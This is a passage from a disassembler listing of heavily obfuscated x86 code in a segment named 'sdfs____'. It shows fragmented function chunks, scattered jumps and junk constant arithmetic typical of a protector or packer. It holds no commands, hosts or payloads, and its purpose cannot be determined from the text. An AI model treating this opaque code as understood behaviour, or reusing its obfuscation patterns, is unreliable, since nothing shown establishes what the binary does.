; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_5AFAE3:				; CODE XREF: sdfs____:005ADAABj
		mov	[esp], eax
		jmp	loc_59A7B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5AFAEB:				; CODE XREF: sub_59EE3E+20AAj
		pop	ecx
		not	dl
		shl	dl, 1
		jmp	loc_59BDD8
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AFA26


loc_5AFAF5:				; CODE XREF: sub_5AFA26-1160Ej
		push	[esp+arg_0]
		pop	edi
		pop	dword ptr [esp+0]
		mov	esp, [esp-4+arg_0]
		mul	cx
		push	0BB8h
		mov	[esp-4+arg_0], eax
		push	esp
		jmp	loc_5AD209
; END OF FUNCTION CHUNK	FOR sub_5AFA26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A35F6


loc_5AFB11:				; CODE XREF: sub_5A35F6+5ADFj
		and	ecx, 52A67E6Fh
		jmp	loc_59C004
; END OF FUNCTION CHUNK	FOR sub_5A35F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A21A4


loc_5AFB1C:				; CODE XREF: sub_5A3E64-5A6Fj
					; sub_5A21A4:loc_5A9A45j
		add	ebx, 4
		jmp	loc_5AD25E
; END OF FUNCTION CHUNK	FOR sub_5A21A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF2D9


loc_5AFB27:				; CODE XREF: sub_5AF2D9-91EBj
		add	ebp, 6A5159EAh
		pop	ebx
		xchg	ebp, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		or	edx, eax
		shl	edx, 1
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 4
		sub	ecx, 12552660h
		add	ecx, edx
		jmp	loc_59C378
; END OF FUNCTION CHUNK	FOR sub_5AF2D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F463


loc_5AFB4E:				; CODE XREF: sub_59F463+C5DBj
		push	esi
		mov	esi, 4
		jmp	loc_5AE2AC
; END OF FUNCTION CHUNK	FOR sub_59F463
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_5AFB59:				; CODE XREF: sub_5A2E41+D4D2j
		sub	ebx, ecx
		jmp	loc_5AF618
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E94B


loc_5AFB60:				; CODE XREF: sub_59E94B+6D3Bj
		dec	ecx
		xor	ecx, 0D467FA08h
		add	ebp, ecx
		mov	ecx, [esp-0Ch+arg_8]
		add	esp, 4
		xor	eax, ebp
		pop	ebp
		add	eax, 0E4D6F249h
		add	ebx, 7EBF03C2h
		jmp	sub_5ABEF6
; END OF FUNCTION CHUNK	FOR sub_59E94B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AFB85:				; CODE XREF: sub_5992DA+3430j
		push	2031h
		mov	[esp+0], edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		jmp	loc_5AFA0C
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A9E9


loc_5AFB9D:				; CODE XREF: sub_59A9E9+DC3Cj
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_59E71A
; END OF FUNCTION CHUNK	FOR sub_59A9E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5AFBAB:				; CODE XREF: sub_59EE3E+21E1j
		pop	eax
		mov	eax, ebx
		jmp	loc_599E42
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CF3


loc_5AFBB3:				; CODE XREF: sub_5A4CF3+5E1j
		push	446Ch
		mov	[esp+0Ch+var_C], eax
		xor	[esp+0Ch+var_C], ebx
		xor	ebx, [esp+0Ch+var_C]
		jmp	loc_5A4A27
; END OF FUNCTION CHUNK	FOR sub_5A4CF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_5AFBC6:				; CODE XREF: sub_5A2E41+D1D6j
		add	edx, 4
		xchg	edx, [esp+0Ch+var_C]
		pop	esp
		xor	edx, 7D6E19CAh
		pop	ecx
		push	esi
		mov	esi, 54BE28E6h
		neg	esi
		sub	esi, 6C2B4748h
		xor	esi, 51964C7Ah
		and	esi, 34BA2933h
		or	esi, 1AB9328Fh
		add	esi, 0F410E600h
		sub	ebx, esi
		pop	esi
		sub	ebx, 251D5C84h
		add	ebx, edx
		jmp	loc_59C725
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB622


loc_5AFC0A:				; CODE XREF: sub_5AB622-F408j
		sub	edi, esi
		mov	esi, [esp+4+var_4]
		jmp	loc_5A9630
; END OF FUNCTION CHUNK	FOR sub_5AB622
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8215


loc_5AFC14:				; CODE XREF: sub_5A8215-74Ej
		mov	esi, 0B564C76h
		push	edx
		mov	edx, 32B20F8Fh
		sub	edx, 2AFD43F9h
		neg	edx
		neg	edx
		jmp	loc_5A2F0A
; END OF FUNCTION CHUNK	FOR sub_5A8215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F4D2


loc_5AFC2E:				; CODE XREF: sub_59F4D2+2834j
		pop	ecx
		jmp	loc_59DFB7
; END OF FUNCTION CHUNK	FOR sub_59F4D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AFC34:				; CODE XREF: sub_5AA2D1-1444j
		pop	esi
		pop	[esp+0Ch+var_C]
		jmp	loc_59C7C2
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5AFC3D:				; CODE XREF: sub_5B01F7-75DCj
		mov	ecx, 2855473Dh
		sub	[esp+18h+var_10], ecx
		pop	ecx
		jmp	loc_5AD296
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5AFC4C:				; CODE XREF: sub_59CBE1+CCACj
		inc	eax
		sub	eax, 2C7B0B59h
		jmp	loc_5AA683
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28E3


loc_5AFC57:				; CODE XREF: sub_5A28E3+17C4j
		sub	eax, 48E53233h
		push	dword ptr [esp+0]
		mov	edx, [esp+0]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	6155h
		jmp	loc_5AA7A9
; END OF FUNCTION CHUNK	FOR sub_5A28E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4624


loc_5AFC78:				; CODE XREF: sub_5A4624+23j
		popf
		jmp	nullsub_12
; END OF FUNCTION CHUNK	FOR sub_5A4624
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AFC7E:				; CODE XREF: sub_5AA2D1-8E20j
		mov	esp, [esp+10h+var_10]
		mov	[esp+10h+var_10], ebx
		push	3F2h
		mov	[esp+14h+var_14], edx
		mov	edx, 38272424h
		xor	edx, 2C916E22h
		shr	edx, 4
		shr	edx, 4
		jmp	loc_599C6F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EBF


loc_5AFCA2:				; CODE XREF: sub_5A9EBF-FD98j
		not	ebx
		sub	ebx, 73B83C57h
		js	loc_5AAE09
		or	ebx, 6C1B1F9Bh
		jmp	loc_5A58CF
; END OF FUNCTION CHUNK	FOR sub_5A9EBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_5AFCBB:				; CODE XREF: sub_59A26C-1086j
		pop	edx
		jmp	loc_5A4BD0
; END OF FUNCTION CHUNK	FOR sub_59A26C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5AFCC1:				; CODE XREF: sub_59CBE1+4EB3j
		mov	[esp+4+var_4], edx
		push	1A76D77h
		mov	edx, [esp+8+var_8]
		add	esp, 4
		sub	edx, 740F582Eh
		shr	edx, 8
		jnz	loc_59D4F7
		push	esi
		jmp	loc_5AB374
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		push	esp
		push	ebp
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AFCEE:				; CODE XREF: sub_5AA2D1-19E9j
		pop	esp
		jmp	loc_59F96F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599884


loc_5AFCF4:				; CODE XREF: sub_5A580F+42ABj
					; sub_599884+150A1j
		inc	edx
		jmp	loc_5A3B84
; END OF FUNCTION CHUNK	FOR sub_599884
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5AFCFA:				; CODE XREF: sub_5B01F7-53B9j
		push	edi
		jmp	loc_5AC9A8
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB179


loc_5AFD00:				; CODE XREF: sub_5AB179-AF70j
		push	edx
		mov	edx, 66834F6Eh
		sub	edx, 1
		or	edx, 0BA67A36h
		jmp	loc_59DD1D
; END OF FUNCTION CHUNK	FOR sub_5AB179
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A479


loc_5AFD17:				; CODE XREF: sub_59A479:loc_5A51EFj
		or	eax, 64B11E7Bh
		sub	eax, 4FCF2F74h
		jmp	loc_5A783F
; END OF FUNCTION CHUNK	FOR sub_59A479
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CF3


loc_5AFD26:				; CODE XREF: sub_5A4CF3-594Aj
		add	esp, 4
		add	edx, 4
		jmp	sub_5A917C
; END OF FUNCTION CHUNK	FOR sub_5A4CF3

; =============== S U B	R O U T	I N E =======================================



sub_5AFD37	proc near		; DATA XREF: sdfs____:00598F5Co

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059D14F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059D898 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A30D2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A464C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A9B58 SIZE 0000000C BYTES

		mov	ax, [esp+0]
		push	13F5h
		mov	[esp+4+var_4], edi
		mov	edi, esp
		jmp	loc_5A9B58
sub_5AFD37	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5AFD4A:				; CODE XREF: sub_5A0FFF+4j
		not	dh
		and	dh, 10h
		jnp	loc_59D438
		inc	dh
		xor	dh, 0FCh
		jmp	loc_5A7D75
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A18F6


loc_5AFD5F:				; CODE XREF: sub_5A18F6+345Aj
		push	esi
		push	[esp+10h+var_C]
		jmp	loc_5A8C3A
; END OF FUNCTION CHUNK	FOR sub_5A18F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC803


loc_5AFD69:				; CODE XREF: sub_5AC803-F866j
		shr	edx, 7
		js	loc_5A11BE
		xor	edx, 10EA6D25h
		jb	loc_5AAEDC
		shr	edx, 8
		jnp	loc_5B015D
		push	esi
		sub	esp, 4
		jmp	loc_59E39B
; END OF FUNCTION CHUNK	FOR sub_5AC803
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AFD90:				; CODE XREF: sub_5AA2D1-F6A3j
					; sub_5AA2D1-E57Dj
		pop	esi
		jmp	loc_5AEC01
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A479


loc_5AFD96:				; CODE XREF: sub_59A479+429Cj
		xor	eax, 0D1B3A518h
		add	edi, eax
		jmp	loc_59B6A4
; END OF FUNCTION CHUNK	FOR sub_59A479
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A63DC


loc_5AFDA2:				; CODE XREF: sub_5A63DC+4F09j
		add	ebx, 4
		xchg	ebx, [esp+10h+var_10]
		jmp	loc_59C12F
; END OF FUNCTION CHUNK	FOR sub_5A63DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A355D


loc_5AFDAD:				; CODE XREF: sub_5A355D+563Cj
		push	esp
		pop	ebx
		jmp	loc_5A5E61
; END OF FUNCTION CHUNK	FOR sub_5A355D
; ---------------------------------------------------------------------------


loc_5AFDB4:				; CODE XREF: sdfs____:005AE306j
		push	eax
		mov	eax, esp
		push	edi
		jmp	loc_5AD651
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF8FF


loc_5AFDBD:				; CODE XREF: sub_5AF8FF-15B26j
		mov	[esp+8+var_8], esp
		push	ebx
		jmp	loc_5AA7CC
; END OF FUNCTION CHUNK	FOR sub_5AF8FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD993


loc_5AFDC6:				; CODE XREF: sub_5AD993+1E7Cj
		dec	ebx
		jno	loc_5A0145
		sub	ebx, 407F2E70h
		inc	ebx
		mov	cl, ch
		pop	esp
; END OF FUNCTION CHUNK	FOR sub_5AD993
; START	OF FUNCTION CHUNK FOR sub_5A9D64


loc_5AFDD7:				; CODE XREF: sub_5A9D64:loc_5A6626j
		or	ebx, 52037C90h
		jmp	loc_5A7EAC
; END OF FUNCTION CHUNK	FOR sub_5A9D64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AFDE2:				; CODE XREF: sub_5AA2D1-7929j
		dec	edx
		neg	edx
		xor	edx, 0AA18A6CFh
		sub	eax, edx
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		add	eax, ebp
		jmp	loc_59C38B
; ---------------------------------------------------------------------------


loc_5AFDFD:				; CODE XREF: sub_5AA2D1-2FA9j
		mov	edi, 1E8179Dh
		and	eax, edi
		pop	edi
		shr	eax, 4
		shr	eax, 3
		xor	eax, 8D33F1h
		jmp	loc_599DB7
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599A61


loc_5AFE15:				; CODE XREF: sub_599A61+ED31j
		push	[esp-10h+arg_C]
		mov	ebp, [esp-0Ch+arg_4]
		add	esp, 4
		pop	[esp-10h+arg_8]
		mov	esp, [esp-14h+arg_C]
		mov	word ptr [esp-14h+arg_C], dx
		push	ax
		pushf
		jmp	loc_59FE30
; END OF FUNCTION CHUNK	FOR sub_599A61
; ---------------------------------------------------------------------------


loc_5AFE31:				; CODE XREF: sdfs____:005A39FFj
		mov	[esp], ecx
		push	ebx
		mov	bl, 0D0h
		mov	cl, 5Eh
		add	cl, bl
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_59EAB1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5AFE47:				; CODE XREF: sub_5A6BBC+E9Dj
		xor	esi, edi
		mov	edi, [esp+8+var_8]
		jmp	loc_5A71CD
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AFE51:				; CODE XREF: sub_59D6B8-28B3j
		mov	ecx, edi
		pop	edi
		and	eax, ecx
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_59B146
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AFE61:				; CODE XREF: sub_5AA2D1-B14Aj
		push	eax
		mov	eax, 152545CFh
		add	eax, 42734F02h
		shl	eax, 2
		sub	eax, 11604AA4h
		sub	edi, eax
		pop	eax
		jmp	loc_5A3A6D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4D9D


loc_5AFE7C:				; CODE XREF: sub_5A4D9D-3DF7j
		pop	esp
		mov	[esp+0], edi
		mov	edi, 0F48A894Bh
		add	esi, 56711434h
		add	esi, edi
		jmp	loc_599AC1
; END OF FUNCTION CHUNK	FOR sub_5A4D9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A479


loc_5AFE92:				; CODE XREF: sub_59A479+DD13j
		sub	ecx, 4FED7FDFh
		jmp	loc_59A174
; END OF FUNCTION CHUNK	FOR sub_59A479

; =============== S U B	R O U T	I N E =======================================



sub_5AFE9D	proc near		; CODE XREF: sub_5AA2D1+15AAj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A0176 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005ABA26 SIZE 00000012 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	eax, 72FE475Ah
		shl	eax, 3
		shr	eax, 5
		xor	eax, 0B2010DBh
		and	eax, 7CE2199Fh
		jmp	loc_5ABA26
sub_5AFE9D	endp

; ---------------------------------------------------------------------------


loc_5AFEC0:				; CODE XREF: sdfs____:005A2C42j
		mov	esi, 76422996h
		jmp	loc_5AB55F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE9FA


loc_5AFECA:				; CODE XREF: sub_5AE9FA-B41Fj
		push	17E9h
		mov	[esp+0], esi
		mov	esi, 684603Bh
		shl	esi, 1
		dec	esi
		and	esi, 399C18D7h
		and	esi, 23FA1369h
		jmp	loc_59B75F
; END OF FUNCTION CHUNK	FOR sub_5AE9FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AFEEB:				; CODE XREF: sub_5AA2D1-18FDj
		mov	ebp, [esp-4+arg_0]
		jmp	loc_5A440D
; ---------------------------------------------------------------------------


loc_5AFEF3:				; CODE XREF: sub_5AA2D1+6112j
		mov	[esp-4+arg_0], esi
		jmp	loc_59C79B
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4886


loc_5AFEFB:				; CODE XREF: sub_5A4886-96A1j
		add	esi, 4
		push	eax
		push	edx
		mov	edx, 4C451F07h
		mov	eax, edx
		jmp	loc_5A6C2A
; END OF FUNCTION CHUNK	FOR sub_5A4886
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF9B3


loc_5AFF0F:				; CODE XREF: sub_5AF9B3-72D6j
		mov	esi, ebp
		pop	ebp
		add	esi, edx
		pop	edx
		sub	esp, 4
		mov	[esp-4+arg_0], eax
		mov	eax, 139320E0h
		add	eax, 5ABB73D6h
		jmp	loc_5AB310
; END OF FUNCTION CHUNK	FOR sub_5AF9B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599CC6


loc_5AFF2A:				; CODE XREF: sub_599CC6+2j
		mov	ah, dl
		mov	bh, ah
		jmp	loc_59E20A
; END OF FUNCTION CHUNK	FOR sub_599CC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AFF33:				; CODE XREF: sub_5992DA+CBCBj
		add	ch, 66h
		jmp	loc_5AFFBB
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC803


loc_5AFF3B:				; CODE XREF: sub_5AC803-FA64j
		mov	ebx, [esp-4+arg_0]
		add	esp, 4
		push	ebx
		mov	bl, 6Bh
		jmp	loc_5A7D48
; END OF FUNCTION CHUNK	FOR sub_5AC803
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AFF49:				; CODE XREF: sub_5AA2D1-64C8j
					; sub_5A18F6+260Fj
		push	eax
		mov	eax, 4
		jmp	loc_5A12B0
; ---------------------------------------------------------------------------


loc_5AFF54:				; CODE XREF: sub_5AA2D1+1FCDj
		sub	ebx, ebp
		pop	ebp
		add	ebx, 15FC7032h
		push	eax
		mov	eax, 54A965B3h
		add	eax, 0B02CAA0Bh
		jmp	loc_5A94EC
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A10E3


loc_5AFF6D:				; CODE XREF: sub_5A10E3-11FAj
		add	ebp, 4
		xchg	ebp, [esp+0Ch+var_C]
		pop	esp
		add	ebx, 10D07595h
		add	ebx, 3DA15C5Fh
		push	edi
		mov	edi, 69FE50C0h
		jmp	loc_5A466D
; END OF FUNCTION CHUNK	FOR sub_5A10E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB08D


loc_5AFF8E:				; CODE XREF: sub_5AB08D-BDC1j
		mov	esi, 75FC20F9h
		push	edx
		push	ecx
		mov	ecx, 0F08355Eh
		mov	edx, 0F2E6E64Ch
		add	edx, ecx
		pop	ecx
		sub	edx, 8BF2FAB3h
		add	esi, 39627ECFh
		sub	esi, edx
		sub	esi, 39627ECFh
		jmp	loc_5A1E3E
; END OF FUNCTION CHUNK	FOR sub_5AB08D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AFFBB:				; CODE XREF: sub_5992DA+16C5Cj
		push	eax
		push	ebx
		push	eax
		mov	al, ch
		mov	bh, al
		jmp	loc_5A0636
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AFFC7:				; CODE XREF: sub_5AA2D1-DF3Ej
		pop	edx
		jmp	loc_5AAD77
; ---------------------------------------------------------------------------


loc_5AFFCD:				; CODE XREF: sub_5AA2D1+46A8j
		add	esp, 2
		jmp	loc_59B60B
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_5AFFD5:				; CODE XREF: sub_5A7BA0+7465j
		sub	ecx, 723736D6h
		sub	ecx, edi
		add	ecx, 723736D6h
		pop	edi
		sub	ecx, 0DE70290Fh
		add	edx, 383615C4h
		jmp	loc_5996B1
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_5AFFF5:				; CODE XREF: sub_5A580F-554Cj
		pop	eax
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp-4+arg_0]
		pop	esp
		add	[esp-8+arg_8], ebp
		jmp	loc_5A852E
; END OF FUNCTION CHUNK	FOR sub_5A580F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5B0006:				; CODE XREF: sub_5A477C+9255j
		push	ecx
		mov	ecx, 29B30A0Eh
		jmp	loc_59EEC3
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_5B0011:				; CODE XREF: sub_5A2E41+D2FFj
		add	edx, 4
		jmp	loc_5AFBC6
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5B001C:				; CODE XREF: sub_5AA2D1-A444j
		jmp	loc_5A2991
; ---------------------------------------------------------------------------


loc_5B0021:				; CODE XREF: sub_5AA2D1-D5B0j
		pop	esi
		push	780Dh
		mov	[esp-0Ch+arg_8], eax
		mov	eax, 0E1C0CA2h
		push	edi
		mov	edi, 5DAC6B7Ch
		add	ebx, edi
		pop	edi
		jmp	loc_59C4B0
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EBF


loc_5B003D:				; CODE XREF: sub_5A9EBF-6F6Cj
		mov	[esp+0], ebx
		push	4A795806h
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		sub	ebx, 0D0214725h
		mov	edx, ebx
		pop	ebx
		shr	edx, 3
		push	eax
		mov	eax, 0FFFFFFFFh
		add	edx, eax
		pop	eax
		jmp	loc_5A86C6
; END OF FUNCTION CHUNK	FOR sub_5A9EBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5B0065:				; CODE XREF: sub_5A6BBC+1C4j
		and	edx, 0BF46F45h
		shr	edx, 1
		sub	edx, 20C77A7Fh
		add	ebp, edx
		pop	edx
		or	edx, ebp
		mov	ebp, [esp+0]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5ADAEF
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5B008F:				; CODE XREF: sub_59D6B8+7B07j
		push	3C19h
		mov	[esp+0], esi
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		jmp	loc_599DEB
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599A6F


loc_5B00A2:				; CODE XREF: sub_599A6F+14B36j
		neg	bh
		push	eax
		jmp	loc_599EBA
; END OF FUNCTION CHUNK	FOR sub_599A6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB5A9


loc_5B00AA:				; CODE XREF: sub_5AB5A9-D0F3j
					; sub_5A4D9D-34ECj
		xor	ecx, 18D70C5h
		sub	ebx, ecx
		pop	ecx
		add	ebx, ecx
		add	ebx, 1C5137Ch
		pop	ecx
		jmp	loc_59B554
; END OF FUNCTION CHUNK	FOR sub_5AB5A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_5B00C1:				; CODE XREF: sub_5A7BA0:loc_59E03Dj
		xor	ecx, 5DD30C1Fh
		jo	loc_5AD1EB
		push	edi
		push	11A4h
		jmp	loc_5A5375
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5B00D8:				; CODE XREF: sub_5AA2D1-17A0j
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, 5676753Eh
		mov	esi, 0E1E203CCh
		jmp	loc_5A9560
; ---------------------------------------------------------------------------


loc_5B00EA:				; CODE XREF: sub_5AA2D1+4A49j
		mov	[esp+8+var_8], edx
		mov	edx, 4B7F1F29h
		sub	ebx, edx
		pop	edx
		sub	ebx, 12F761AEh
		add	ebx, eax
		push	ecx
		push	edx
		mov	edx, 41670A16h
		or	edx, 64326CA0h
		jb	loc_5ACC89
		neg	edx
		js	loc_5A8B85
		jmp	loc_59EDBE
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
		sub	dword ptr [esp], 464903D9h
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_5B0124:				; CODE XREF: sub_5A8B3E-50A7j
					; sub_5A2E41+3187j
		pop	esp
		mov	[esp+0], edx
		push	ecx
		mov	ecx, 4
		push	ecx
		push	edx
		mov	edx, 7D6E19CAh
		xor	[esp+0Ch+var_8], edx
		pop	edx
		mov	edx, [esp+8+var_8]
		push	edx
		mov	edx, esp
		jmp	loc_5B0011
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5B0145:				; CODE XREF: sub_5A477C+1190j
		add	esi, 4
		push	ebp
		push	edi
		jmp	loc_59CB36
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E94B


loc_5B0152:				; CODE XREF: sub_59E94B+4B7j
					; sub_5A580F+D70j
		sub	edi, 79591F39h
		jmp	loc_5AE580
; END OF FUNCTION CHUNK	FOR sub_59E94B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC803


loc_5B015D:				; CODE XREF: sub_5AC803+15j
					; sub_5AC803+357Ej
		shl	esi, 6
		jmp	loc_5AA5A3
; END OF FUNCTION CHUNK	FOR sub_5AC803
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5B0165:				; CODE XREF: sub_5AA2D1-9AE2j
					; sdfs____:005ACC01j
		add	edi, 50D55E8Fh
		push	esi
		push	eax
		mov	eax, 326A3DE6h
		shr	eax, 7
		jnp	loc_59CCE5
		sub	eax, 730E28E9h
		sub	eax, 1CEA0BD7h
		jz	loc_5AE0B4
		sub	eax, 6883A818h
		mov	esi, eax
		mov	eax, [esp-8+arg_4]
		add	esp, 4
		jmp	loc_5A4979
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3CF9


